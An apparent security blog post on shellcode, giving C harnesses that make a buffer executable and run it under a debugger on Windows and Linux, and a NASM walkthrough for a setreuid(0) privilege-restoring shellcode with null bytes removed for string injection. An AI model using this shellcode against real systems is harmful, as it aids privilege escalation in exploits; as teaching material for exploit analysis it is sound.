See also the Buffer Overflow post
Execute shellcode
Scenario: You have shellcode. You want to run it to analyze it in a debugger.
On Windows
#include <windows.h>
char shellcode[] = "\xcc$hereTheShellcode"; // \xcc => breakpoint
void main(int argc, char **argv) {
DWORD oldprot;
VirtualProtect(shellcode, sizeof(shellcode), 0x40, &oldprot);
void (*func)();
func = (void (*)()) shellcode;
(*func)();
}
Add the shellcode after the breakpoint with
i686-w64-mingw32-cc s.c -o s.exe
x86_64-w64-mingw32-cc s.c -o s.exe
and run it in a debugger.
On Linux
#include <sys/mman.h>
char shellcode[] = "\xcc%hereTheShellcode"; // For debugging, prepend with \xcc
void main(int argc, char **argv) {
unsigned long sh_addr = (unsigned long)shellcode;
// Address for mprotect must be aligned
unsigned long b_addr = sh_addr & 0xfffffffffffff000;
unsigned long size = (sh_addr - b_addr) + sizeof(shellcode);
mprotect((void*)b_addr, size, PROT_READ|PROT_WRITE|PROT_EXEC);
void (*func)();
func = (void (*)()) shellcode;
(*func)();
}
Add the shellcode after the breakpoint with gcc [-m32] s.c and run it in a debugger.
Write shellcode
This x86 shellcode calls the setreuid() syscall with argument 0 so that the process runs as UID 0 again. (Assuming that the program was originally started with UID 0 and dropped the privileges before our call.)
1. Create the assembly file a.asm.
BITS 32 ; set architecture mov eax, 0x00 mov ebx, 0x00 mov ecx, 0x00 mov edx, 0x00 mov eax, 0x46 int 0x80
2. Translate it into an static object file.
nasm a.asm
3. Inspect the generated machine code.
xxd -ps a 66b80000000066bb0000000066b90000000066ba0000000066b846000000
If you should need a hex representation with \x, use this:
echo 66b800 | sed -e 's/../\\x&/g' \x66\xb8\x00
4. The previous code contained multiple null bytes. This is bad, because most input methods like sprintf() will terminate at the null byte. Therefore, we have to set the argument registers without using a null byte in our shellcode. Using a xor a to create a null value without using a null byte, we got a new shellcode:
BITS 32 ; set architecture xor eax, eax xor ebx, ebx xor ecx, ecx xor edx, edx mov eax, 0x46 int 0x80
Leave a Reply
You must be logged in to post a comment.